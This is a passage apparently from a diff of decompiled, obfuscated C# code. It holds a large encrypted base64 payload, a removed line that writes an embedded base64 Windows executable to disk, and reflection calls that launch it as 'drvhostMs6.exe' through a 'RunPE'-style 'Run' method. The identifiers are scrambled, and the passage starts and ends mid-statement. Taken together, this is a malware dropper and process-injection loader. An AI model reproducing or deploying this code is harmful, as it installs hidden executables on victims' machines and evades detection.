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", "Sf7s9DYb58GiWp4", "Zr6p4C8Fgd7Y9AiSb5", "SHA1", 2, "Gw6f2ANr37HoPk5c", 128)); - File.WriteAllBytes(path, Convert.FromBase64String("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- Driver.p9E6Fei2CGj87Tqy4Z("IMETHOD", "ibMethod", Fe97Kkc5XMg68, new object[1] - { - (object) "drvhostMs6.exe" - }); - Driver.p9E6Fei2CGj87Tqy4Z("RPEMETHOD", "Run", Fe97Kkc5XMg68, new object[2] - { - (object) numArray, - (object) path - }); - } - - private static bool p9E6Fei2CGj87Tqy4Z( - string s2C3Axc6MFz47Sdf5, - string Xg9y7YTc48ZxQs56Dzq3H2EwN, - Assembly Fe97Kkc5XMg68, - object[] Jk82WoXt6n5E4Pwp3TQi) - { - try - { - Type type = Fe97Kkc5XMg68.GetType(s2C3Axc6MFz47Sdf5); - if ((object) type != null) - { - MethodInfo method = type.GetMethod(Xg9y7YTc48ZxQs56Dzq3H2EwN); - if ((object) method != null) - return (bool) method.Invoke((object) null, Jk82WoXt6n5E4Pwp3TQi); - } - } - catch - { - return false; - } - return false; - } - - public static byte[] Jg76HdWc5n3STr8i4L2Mfo9XYm85Qs( - string No9k8DSi53YpBe76Ljx2MWn, - string b8NKi53Brw2A9JkCe47EcM, - string Qq24DoMe3a9BFz58WnSg76, - string p9E6Fei2CGj87Tqy4Z, - int Zs5f4Y2Acb8SKy7n3P, - string Do5t4Z7CkRr6i8M3YjXc9m2PLa4, - int Wq2a3Y6RzAi57Sno4CFy89Dgm8E9Z) - { - try - { - byte[] bytes1 = Encoding.ASCII.GetBytes(Do5t4Z7CkRr6i8M3YjXc9m2PLa4); - byte[] bytes2 = Encoding.ASCII.GetBytes(Qq24DoMe3a9BFz58WnSg76); - byte[] buffer = Convert.FromBase64String(No9k8DSi53YpBe76Ljx2MWn); - byte[] bytes3 = new 